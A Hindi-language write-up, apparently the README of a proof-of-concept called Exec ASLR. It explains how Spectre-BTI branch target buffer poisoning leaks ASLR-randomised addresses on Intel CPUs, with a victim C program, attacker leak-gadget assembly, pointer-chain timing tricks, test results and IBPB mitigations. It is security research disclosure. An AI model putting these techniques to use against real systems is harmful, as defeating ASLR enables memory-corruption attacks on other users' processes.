
प्रूफ़-ऑफ़-कॉन्सेप्ट एक्सप्लॉइट जो ब्रांच टार्गेट बफर और स्पेक्युलेटिव एक्ज़ीक्यूशन का दुरुपयोग करके साइड चैनल के माध्यम से यादृच्छिक पतों को लीक करके Intel CPU पर ASLR को बायपास करता है।
एड्रेस स्पेस लेआउट रैंडमाइज़ेशन एक शमन (mitigation) तकनीक है जिसका उपयोग मेमोरी करप्शन हमलों का फायदा उठाना कठिन बनाने के लिए किया जाता है। उदाहरण के लिए, बफर ओवरफ्लो कमजोरी के परिदृश्य में, एक हमलावर जो रिटर्न ओरिएंटेड प्रोग्रामिंग (ROP) शोषण बनाने की कोशिश करता है, उसे चेन में गैजेट्स के पते जानने की आवश्यकता होती है। यदि शोषित बाइनरी का कोड सेगमेंट रैंडमाइज़्ड है, तो हमलावर के लिए शोषण के लिए सही पता चुनना बहुत कठिन हो जाता है, जिससे शोषण अव्यवहार्य हो जाता है।
निम्नलिखित उदाहरण दिखाता है कि एक पता कैसे रैंडमाइज़ किया जाता है:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){}
int main(int argc,char **argv){
printf("Destination %p\n",codePtr);
DoNothing();
}
प्रत्येक निष्पादन में मान रैंडमाइज़ होता है:
Destination 0x563714256149
Destination 0x556d8e2f1149
Destination 0x5618c8bdd149
Destination 0x55ee623b0149
अंतिम 12 बिट 149 हमेशा समान होते हैं, लेकिन फ़ंक्शन का स्थान लगभग 0x550000000000 और 0x570000000000 के बीच कहीं भी हो सकता है, जिसका अर्थ है कि 29 बिट रैंडमाइज़ होते हैं, जो 0x200 0000 0000 या 2.2 TB आकार का संभावित एड्रेस स्पेस घेरते हैं।
प्रत्येक निर्देश का प्रसंस्करण एक कठिन कार्य है। एक एकल निर्देश के प्रसंस्करण के कुछ चरण हैं:
CPU में निर्देशों के थ्रूपुट को बढ़ाने के लिए, निर्देश का प्रत्येक कार्य प्रोसेसर की एक विशिष्ट इकाई द्वारा किया जाता है। सभी इकाइयों के समानांतर काम करने से, CPU बहुत अधिक क्लॉक स्पीड पर निष्पादित कर पाता है, यही पाइपलाइन का विचार है।
| ऑपरेशन \ क्लॉक साइकिल | 1 | 2 | 3 | 4 | 5 |
|---|---|---|---|---|---|
| फेच | A | B | C | ||
| डिकोडिंग | A | B | C | ||
| निष्पादन | A | B | C |
निर्देशों A B और C का चक्र 1-5 के दौरान निष्पादन। उदाहरण के लिए, चक्र 3 में, पठन, डिकोडिंग और निष्पादन इकाइयाँ एक साथ सक्रिय हैं
हालाँकि, निर्देश एक दूसरे से पूरी तरह स्वतंत्र नहीं होते हैं। उदाहरण के लिए, निम्नलिखित अनुक्रम:
A. add ax,[bx]
B. jz $+1
C. mov dl,[rsi]
D. nop
इस मामले में, निर्देश A सर्वोत्तम स्थिति में केवल चक्र 3 में निष्पादन चरण में समाप्त होगा। हालाँकि, फेच इकाई को यह तय करना होगा कि मेमोरी से अगला निर्देश क्या फेच किया जाए, क्या निर्देश C (mov dl,[rsi]) को छोड़ दिया जाना चाहिए।
इस परिदृश्य में, CPU के पास निर्देश A के समाप्त होने की प्रतीक्षा करने का विकल्प होता है, जो केवल तीसरे क्लॉक चक्र में होगा, ताकि फिर मेमोरी से सही निर्देश फेच किया जा सके, उदाहरण के लिए यदि add ऑपरेशन 0 लौटाता है:
| ऑपरेशन \ क्लॉक साइकिल | 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|---|
| फेच | A | B | D | |||
| डिकोडिंग | A | B | D | |||
| निष्पादन | A | B | D |
इसका तात्पर्य पाइपलाइन में देरी से है क्योंकि CPU को निर्देश निष्पादित होने तक प्रतीक्षा करनी पड़ती है। इस उदाहरण में देरी एक एकल क्लॉक चक्र है, लेकिन निर्देश add ax,[bx] के लिए मेमोरी ऑपरेशन की आवश्यकता होती है, जो जैसा कि पहले देखा गया, पूरा होने में सैकड़ों चक्र ले सकता है, जिससे प्रोसेसर पर महत्वपूर्ण प्रदर्शन लागत आती है।
एक तेज़ विकल्प सही निष्पादन पथ का "अनुमान" लगाना होगा। CPU अनुमान (speculate) लगा सकता है कि ब्रांच ली गई है या नहीं। उस बिंदु के बाद, निष्पादन अनुमानित पथ से जारी रहता है और मान केवल तभी कमिट होते हैं जब A निर्देश के समाप्त होने के बाद पथ सही साबित होता है। यदि पथ गलत साबित होता है, तो परिणाम छोड़ दिए जाते हैं और स्थिति अनुमान से पहले के बिंदु पर वापस कर दी जाती है।
| ऑपरेशन \ क्लॉक साइकिल | 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|---|
| फेच | A | B | (S) C | |||
| डिकोडिंग | A | B | (S) C | |||
| निष्पादन | A | B | (S) C |
ले गए पथ को वापस करने में एकमात्र समस्या यह है कि CPU की माइक्रोआर्किटेक्चरल स्थिति को वापस नहीं किया जा सकता है। इसलिए यदि CPU निर्देश C (mov dl,[rsi]) को निष्पादित करने का अनुमान लगाता है, तो rsi द्वारा इंगित डेटा कैश में स्थानांतरित हो जाएगा। इस प्रभाव को बाद में साइड चैनल हमले का उपयोग करके मापा जा सकता है।

2-बिट सशर्त प्रेडिक्टर। https://en.wikipedia.org/wiki/Branch_predictor
न केवल सशर्त निर्देशों की भविष्यवाणी की जानी चाहिए, बल्कि अप्रत्यक्ष ब्रांचों की भी। CPU के पास call [rdi] जैसे निर्देश के गंतव्यों का अनुमान लगाने के लिए एक तंत्र होना चाहिए।
स्पेक्ट्रे v2 कमजोरी दिखाती है कि अन्य प्रक्रियाओं में ट्रांज़िएंट निष्पादन प्राप्त करने के लिए अप्रत्यक्ष प्रेडिक्टर का शोषण करना संभव है:
से लिया गया: https://spectreattack.com/spectre.pdf
जब संदर्भ A में कॉल निर्देश को संदर्भ B में एक अन्य कॉल के समान वर्चुअल एड्रेस पर रखा जाता है, तो हमलावर CPU को संदर्भ B में हमलावर द्वारा चुनी गई स्थिति पर कोड निष्पादित करने के लिए प्रशिक्षित कर सकता है, जो रिटर्न ओरिएंटेड प्रोग्रामिंग (ROP) के समान एक कोड पुन: उपयोग हमला है।
लक्षित पीड़ित के पास "स्पेक्ट्रे गैजेट" के रूप में जाना जाने वाला कोड का एक टुकड़ा होना चाहिए जो साइड चैनल हमले का उपयोग करके एक रहस्य (secret) लीक करने में सक्षम हो। एक सफल स्पेक्ट्रे हमले के लिए, हमलावर को स्पेक्ट्रे गैजेट का स्थान भी पता होना चाहिए। इसलिए, उपयोगकर्ता-से-उपयोगकर्ता हमलों में, पीड़ित को ASLR से सुरक्षित रखना इस प्रकार के हमले के लिए एक शमन हुआ करता था। हालाँकि, Jump Over ASLR जैसे माइक्रोआर्किटेक्चरल हमलों का उपयोग करके ASLR निकालने की तकनीकें भी मौजूद हैं। हालाँकि, इस तकनीक में लीक किए गए बिट्स की मात्रा के बारे में कुछ सीमाएँ हैं, क्योंकि यह ASLR को बायपास करने के लिए डायरेक्ट प्रेडिक्टर पर टकराव (collision) पर निर्भर करती है।
इस प्रेडिक्टर के आंतरिक तंत्र नीचे दिखाए गए हैं:

से लिया गया: https://spectreattack.com/spectre.pdf
इनमें से कुछ घटक हैं:
क्लासिकल स्पेक्ट्रे v2 हमले का लेआउट इस प्रकार है:

getenv + secret[0]*4096 निष्पादित करता है, लिबसी को साझा मेमोरी के रूप में उपयोग करके स्थिति 0 पर रहस्य का मान लीक कर सकता है।Exec ASLR (उर्फ रिवर्स ब्रांच टारगेट बफर पॉइज़निंग) स्पेक्ट्रे-बीटीआई कमजोरी का उपयोग करके ASLR को बायपास करने की एक नई तकनीक है। यह हमला इस तथ्य का दुरुपयोग करता है कि क्लासिक स्पेक्ट्रे-बीटीआई परिदृश्य में न केवल हमलावर BTB को दूषित कर सकता है, बल्कि पीड़ित भी हमलावर प्रक्रिया में ब्रांच मिसप्रेडिक्शन ट्रिगर कर सकते हैं, जिससे हमलावर ASLR द्वारा संरक्षित एक पते पर स्पेकुलेटिव जंप कर लेता है। फिर एक साइड चैनल का उपयोग करके जो लीक करता है कि कौन सा पता निष्पादित किया जा रहा है, एक हमलावर पूर्ण गंतव्य पता प्राप्त कर सकता है, जिससे लक्षित प्रक्रिया के लिए ASLR बायपास हो जाता है।
Exec ASLR हमले का लेआउट इस प्रकार है:

इस प्रकार के हमले में, स्पेक्ट्रे गैजेट खोजने या साइड चैनल के लिए साझा मेमोरी रखने की कोई आवश्यकता नहीं है, एकमात्र आवश्यकता यह है कि एक अप्रत्यक्ष ब्रांच का शोषण किया जाए, स्पेक्ट्रे v2 के सभी आवश्यक गैजेट हमलावर प्रक्रिया के अंदर रखे जाते हैं। इस हमले के लिए एकमात्र नई आवश्यकता पीड़ित के गंतव्य पते को अपनी प्रक्रिया में मैप करने में सक्षम होना है, इसलिए यह हमला उदाहरण के लिए KASLR के खिलाफ काम नहीं कर सकता है। यह ब्रूटफोर्स हमला भी नहीं है, एक ही प्रयास में कई पतों का एक साथ परीक्षण करना संभव है, हालाँकि इस बात की सीमा है कि मेमोरी एक साथ कितने "लीक गैजेट्स" धारण कर सकती है। यह हमले को करने के समय को Jump Over ASLR की तुलना में ~100 पतों प्रति सेकंड से कुछ सैकड़ों अरब पतों प्रति सेकंड तक काफी कम कर देता है।
लीक गैजेट हमलावर को सूचित करने के लिए probeArray का उपयोग करता है कि स्वयं गैजेट कहाँ निष्पादित किया गया है। यह तर्क के रूप में probeArray और RIP का वह इंडेक्स प्राप्त करता है जिसे लीक किया जाना है, और यह तय करने के लिए एक प्रकार की ब्रांचलेस प्रोग्रामिंग करता है कि probeArray[0] या probeArray[4096] एक्सेस किया जाना चाहिए।
lea rax,[rip - 7] ;load current address
shr rax,cl ;selects the bit using cl arg
and rax,1
shl rax,12 ;loads probearray
mov dl,[rsi+rax] ;or probearray+4096
जैसा कि पहले देखा गया, BHB का उपयोग BTB प्रविष्टि का चयन करने के लिए किया जाता है। BTB टकराव खोजने और इस कमजोरी का शोषण करने के लिए, एक हमलावर को अंतिम N (29 यदि <skylake) ली गई ब्रांचों को जानना चाहिए। अपने परीक्षणों में, हमने अप्रत्यक्ष कॉल से पहले BHB की स्थिति को एक ज्ञात मान पर सेट करने के लिए एक for लूप का उपयोग किया। यहां पीड़ित कोड का एक कमजोर उदाहरण है:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){
return;
}
int main(){
printf("Destination = %p\n",codePtr);
while(1){
for(int i=0;i<200;i++){}
codePtr();
}
}
दोनों संदर्भों में BHB स्थिति समान सुनिश्चित करने के लिए, हमलावर पीड़ित के for लूप और कॉल के अनुरूप बाइट्स को शेलकोड के रूप में कॉपी करता है। शेलकोड को उन सभी संभावित 256 स्थितियों में कॉपी किया जाता है जो BHB स्थिति के समान होने के लिए आवश्यक 20 LSB संरेखण से मेल खा सकती हैं।
Victim Code
0x5594c566a152 <+28>: mov eax,0xc8
0x5594c566a157 <+33>: dec eax
0x5594c566a159 <+35>: jne 0x1157 <main+33>
0x5594c566a15b <+37>: nop
0x5594c566a15c <+38>: nop
0x5594c566a15d <+39>: nop
0x5594c566a15e <+40>: lea rdi,[rip+0x2ecb]
0x5594c566a165 <+47>: call QWORD PTR [rdi]
--> Executes to
0x5594c5669135: ret
Attacker Code
… //eax=200 rsi=probeArray, cl=0
0x6a157 dec eax
0x6a159 jne 0x455555500157
…
0x6a165 jmp QWORD PTR [rdi]
--> Misspredicts to
0x5594c566a135: lea rax,[rip - 7]
0x5594c566a13c: shr rax,cl
0x5594c566a13f: and rax,1
0x5594c566a133: shl rax,12
0x5594c566a137: mov dl,[rsi+rax]
एक ही समय में सभी संभावित स्थितियों में एक गैजेट रखने की कोशिश करते समय एक समस्या है। हमारे परीक्षणों में ASLR गंतव्य को 0x550000000000 और 0x570000000000 के बीच कहीं रखता है। इसका मतलब है कि मैप किए जाने वाले 2.2TB संभावित वर्चुअल एड्रेस या 537 मिलियन लीक गैजेट हैं। लेकिन सिस्टम में केवल 8GB RAM है। COW का उपयोग करके 2TB RAM मैप करना संभव होने के बावजूद, हमें इस दृष्टिकोण से अधिक सफलता नहीं मिली। मुझे लगता है कि यह ट्रांसलेशन लुकासाइड बफर (TLB) पर बहुत अधिक दबाव बनाता है, जिससे गैर-अनुवादित पते पर स्पेक्यूलेशन बहुत धीमा हो जाता है। परीक्षणों में हमने मेमोरी में 1GB का पेज बनाया और उसे लीक करने वाले गैजेट्स से भर दिया। फिर हमने remap syscall का उपयोग करके पेज को 2TB रेंज में स्थानांतरित किया। देखी गई एक और समस्या यह तथ्य थी कि स्पेक्यूलेटेड पता शायद TLB में मौजूद नहीं था, क्योंकि इसे वास्तव में कभी निष्पादित नहीं किया गया था। लेकिन इंटेल मैनुअल कहता है:
इसलिए, "स्पेक्युलेटिव प्रेरित" पेजवॉक की संभावनाओं को बढ़ाने के लिए, हमने सही पते को हल करना जितना संभव हो उतना कठिन बनाने की कोशिश की। यह गंतव्य पते के लिए पॉइंटर चेन का उपयोग करके किया जाता है। विचार यह है कि CPU फ्रंटएंड ब्रांच के गंतव्य का अनुमान लगाएगा और रीऑर्डर यूनिट पॉइंटर चेन पढ़ने को समाप्त करने से पहले लीक गैजेट को निष्पादित करेगी।
Improved Caller - Frontend fetched instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
mov rdx,[rdx]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;mispredicts to gadget
lea rax,[rip - 7];speculative execution
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
Improved Caller - Reorder unit scheduled instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
; <pagewalk occurs some where here>
... ;Out of order + speculation
lea rax,[rip - 7]
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;the execution path reverted
आउट-ऑफ-ऑर्डर + स्पेक्युलेटिव निष्पादन की इस तकनीक ने हमले में वांछित मिसप्रेडिक्शन दरों में सुधार दिखाया।
स्पेक्ट्रे V2 हमला करने के लिए, हमलावर को पीड़ित के समान कोर में कोड निष्पादित करना चाहिए, ताकि वे समान ब्रांच प्रेडिक्शन यूनिट (BPU) साझा करें। <= स्काईलेक CPUs में हमने देखा कि हाइपरथ्रेडिंग का उपयोग करके कोर सह-निवास (core coresidency) प्राप्त करना संभव है। आइसलेक और कैस्केड लेक CPU एक शमन लागू करते हैं जिसे सिंगल थ्रेड इनडायरेक्ट ब्रांच प्रेडिक्टर कहा जाता है, जो BPU को थ्रेड्स के बीच अलग करता है। इसलिए पीड़ित और हमलावर को एक ही थ्रेड पर निष्पादित करना और पीड़ित और हमलावर प्रक्रिया के बीच वैकल्पिक करने के लिए usleep का उपयोग करना आवश्यक है, जो इन CPUs पर हमलावर को धीमा कर देगा, यदि यह तथ्य नहीं होता कि उन पीढ़ियों में कैश (और शायद TLB भी) बहुत अच्छा है, जिससे एक साथ अधिक गैजेट्स को कैश करना संभव हो जाता है।
इस तकनीक का परीक्षण google cloud पर उपलब्ध सभी इंटेल CPUs पर किया गया, N1 और N2 दोनों पीढ़ियों पर:
कैस्केड और आइस लेक के लिए शोषण में कुछ अंतर होने के अलावा, सभी परीक्षण 10 सेकंड के भीतर >99% सटीकता के साथ पतों को पुनर्प्राप्त करने में सक्षम हैं।
शमन उपाय उपयोगकर्ता-से-उपयोगकर्ता हमलों को कम करने के लिए Spectre V2 के समान हैं।
इनडायरेक्ट ब्रांच प्रेडिक्शन बैरियर (IBPB) BPU को फ्लश करने की अनुमति देता है और कॉन्टेक्स्ट स्विच पर उपयोग किया जा सकता है। लिनक्स में IBPB का उपयोग prctl syscall के साथ PR_SET_SPECULATION_CTRL विकल्प के माध्यम से किया जा सकता है।
मुझे नहीं पता कि विंडोज़ के लिए समकक्ष शमन क्या है, कृपया मुझे बताएं।
https://docs.google.com/presentation/d/10t-oo-c26x9ydx1_FYgmhy204rxfmQ92eboPlCnA2y4/edit?usp=sharing
https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html https://eprint.iacr.org/2013/448.pdf https://spectreattack.com/spectre.pdf https://www.cs.ucr.edu/~nael/pubs/micro16.pdf http://download.vusec.net/papers/bhi-spectre-bhb_sec22.pdf https://www.kernel.org/doc/html/latest/userspace-api/spec_ctrl.html Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3. Santa Clara, USA: Intel Corporation, 2016, iSBN 325384-060US